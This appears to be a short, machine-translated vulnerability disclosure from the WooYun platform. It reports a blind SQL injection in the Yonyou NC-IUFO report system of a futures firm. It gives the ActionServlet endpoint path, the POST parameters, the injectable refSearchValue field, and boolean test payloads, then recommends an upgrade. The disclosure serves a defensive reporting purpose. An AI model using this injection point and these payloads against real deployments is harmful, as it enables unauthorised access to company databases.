Futures security-SQL Injection for a futures system in meiya

Futures security-SQL Injection for a futures system in meiya

Detailed description:

1. OA is the yonyou NC-IUFO Report System
 

2. Blind injection of post Data
 

Code Region

url：**.**.**.**:12345/service/~iufo/com.ufida.web.action.ActionServlet?RefTargetId=m_strUnitCode&onlyTwo=false¶m_orgpk=level_code&retType=unit_code&Operation=Search&action=nc.ui.iufo.web.reference.base.UnitTableRefAction&method=execute

 

Code Region

data：TreeSelectedID=&TableSelectedID=&refSearchProp=unit_code&refSearchPropLbl=%E5%8D%95%E4%BD%8D%E7%BC%96%E7%A0%81&refSearchOper=%3D&refSearchOperLbl=%E7%AD%89%E4%BA%8E&refSearchValue=

 

Code Region

' and '1'='1

 

Code Region

' and '1'='2

3、

Proof of vulnerability:

The network speed was too scum and ran early in the morning.

Solution:

Upgrade

Code Region

https://**.**.**.**/bugs/wooyun-2015-0153736/trace/7432531fe623a257d5cf517d4f69e186